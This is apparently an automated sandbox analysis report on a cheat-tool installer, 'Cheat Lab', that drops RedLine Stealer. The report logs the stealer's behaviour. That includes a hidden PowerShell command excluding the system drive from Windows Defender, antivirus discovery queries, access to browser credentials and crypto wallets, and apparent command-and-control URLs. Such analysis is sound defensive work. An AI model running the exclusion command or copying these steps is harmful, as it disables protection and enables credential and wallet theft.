Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE07DBB8 SetUnhandledExceptionFilter,	18_2_00007FF6FE07DBB8
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE07D9D4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF6FE07D9D4
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE07D0B0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00007FF6FE07D0B0
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A8900 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF6FE0A8900
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00402E36 SetUnhandledExceptionFilter,	22_2_00402E36
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00403CF1 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00403CF1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_004042F5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_004042F5
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0040635F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0040635F

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"	Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F352F0 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcessId,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,

6_2_00F352F0

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: EnumSystemLocalesW,	6_2_00F6E0C6
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: EnumSystemLocalesW,	6_2_00F6E1AC
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: EnumSystemLocalesW,	6_2_00F67132
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: EnumSystemLocalesW,	6_2_00F6E111
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_00F6E237
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoEx,	6_2_00F523F8
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoW,	6_2_00F6E48A
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00F6E5B3
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoW,	6_2_00F6E6B9
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetLocaleInfoW,	6_2_00F676AF
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00F6E788
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_00F6DE24
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: try_get_function,GetLocaleInfoW,	9_2_00007FF738B09934
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	9_2_00007FF738B1A03C
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: EnumSystemLocalesW,	9_2_00007FF738B092FC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_00007FF738B1AA70
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: EnumSystemLocalesW,	9_2_00007FF738B1A388
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: EnumSystemLocalesW,	9_2_00007FF738B1A458
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00007FF738B1A894
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	18_2_00007FF6FE0BA03C
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: try_get_function,GetLocaleInfoW,	18_2_00007FF6FE0A9934
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: EnumSystemLocalesW,	18_2_00007FF6FE0A92FC
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_00007FF6FE0BAA70
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_00007FF6FE0BA894
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: EnumSystemLocalesW,	18_2_00007FF6FE0BA388
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: EnumSystemLocalesW,	18_2_00007FF6FE0BA458
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: GetLocaleInfoA,	22_2_00406EFC

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F535A9 cpuid

6_2_00F535A9

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F537D5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00F537D5

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F67B1F GetTimeZoneInformation,

6_2_00F67B1F

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: connect.exe, 00000016.00000003.2108521517.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107771708.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107871352.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107590031.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107658316.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107985123.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2108436153.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2108353413.00000000081E0000.00000004.00000020.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2107521201.00000000081DF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 22.2.connect.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.connect.exe.460000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2131526170.000000000040D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2131675948.0000000000462000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: connect.exe PID: 4584, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: connect.exe, 00000016.00000002.2133528800.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: connect.exe, 00000016.00000002.2145649555.00000000081FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*F9
Source: connect.exe, 00000016.00000002.2133528800.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR
Source: connect.exe, 00000016.00000002.2145649555.00000000081FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*F9
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: connect.exe, 00000016.00000002.2145649555.00000000081FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*F9

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior

Source: Yara match	File source: 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2133528800.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: connect.exe PID: 4584, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 22.2.connect.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.connect.exe.460000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2131526170.000000000040D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2131675948.0000000000462000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: connect.exe PID: 4584, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scripting	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Scripting	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	3 Command and Scripting Interpreter	Logon Script (Mac)	1 Scheduled Task/Job	3 Obfuscated Files or Information	NTDS	135 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 PowerShell	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	123 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Cheat.Lab.2.7.2.msi	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\MSIAB91.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAC3E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAC5E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAC8E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIACBE.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAD1D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAEA5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAEC5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIAEF5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID74E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID76E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBD45.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBDB3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBE12.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBE32.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBE81.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBF2F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC01A.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICA9B.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id9	0%	Avira URL Cloud	safe
http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms8	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4	0%	Avira URL Cloud	safe
http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Mso8	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6	0%	Avira URL Cloud	safe
